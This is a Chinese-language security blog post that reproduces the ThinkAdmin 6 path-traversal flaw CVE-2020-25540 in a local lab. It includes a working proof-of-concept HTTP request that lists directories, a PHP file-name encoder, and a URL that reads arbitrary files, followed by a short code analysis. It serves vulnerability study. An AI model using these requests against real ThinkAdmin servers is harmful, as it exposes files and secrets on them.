ThinkAdmin漏洞(CVE-2020-25540)复现

admin 2020年12月4日10:33:57评论164 views字数 1532阅读5分6秒阅读模式

简介


ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统


漏洞概述


ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。


影响版本


ThinkAdmin版本小于 ≤ 2020.08.03.01


环境搭建


使用phpstudy进行安装


设置阿里云 Composer 代理


composer config -g repo.packagist composer https://mirrors.aliyun.com/composer


ThinkAdmin漏洞(CVE-2020-25540)复现


ThinkAdmin下载地址

https://github.com/179776823/ThinkAdmin


进入ThinkAdmin目录进行安装

cd ThinkAdmin-6
composer install

ThinkAdmin漏洞(CVE-2020-25540)复现


php进行运行

php think run

ThinkAdmin漏洞(CVE-2020-25540)复现

http://127.0.0.1:8000打开页面

ThinkAdmin漏洞(CVE-2020-25540)复现


漏洞复现


列目录

poc

POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26
Upgrade-Insecure-Requests: 1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

rules=%5b%22%2e%5c%2f%22%5d

ThinkAdmin漏洞(CVE-2020-25540)复现

任意文件读取


在根目录新建1.txt文件

ThinkAdmin漏洞(CVE-2020-25540)复现


使用加密函数对1.txt文件名进行加密

function encode($content){    list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);    return $chars;}

得到数据加密数据1d1a383c38

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38

ThinkAdmin漏洞(CVE-2020-25540)复现


ThinkAdmin漏洞(CVE-2020-25540)复现



漏洞分析


列目录分析


ThinkAdmin-6appadmincontrollerapiUpdate.php文件中

node函数post传过来的rules给getlist()函数

ThinkAdmin漏洞(CVE-2020-25540)复现

跳转到getlist函数

ThinkAdmin漏洞(CVE-2020-25540)复现

循环读取改目录下的所有文件

传个["./"]rules即可获取

ThinkAdmin漏洞(CVE-2020-25540)复现


任意文件读取分析


ThinkAdmin-6appadmincontrollerapiUpdate.php文件中

get函数,解密后读取

ThinkAdmin漏洞(CVE-2020-25540)复现

根据文件名加密后传入即可获取base64加密的内容,解密即可

ThinkAdmin漏洞(CVE-2020-25540)复现



本文始发于微信公众号(锋刃科技):ThinkAdmin漏洞(CVE-2020-25540)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月4日10:33:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkAdmin漏洞(CVE-2020-25540)复现https://cn-sec.com/archives/195562.html

发表评论

匿名网友 填写信息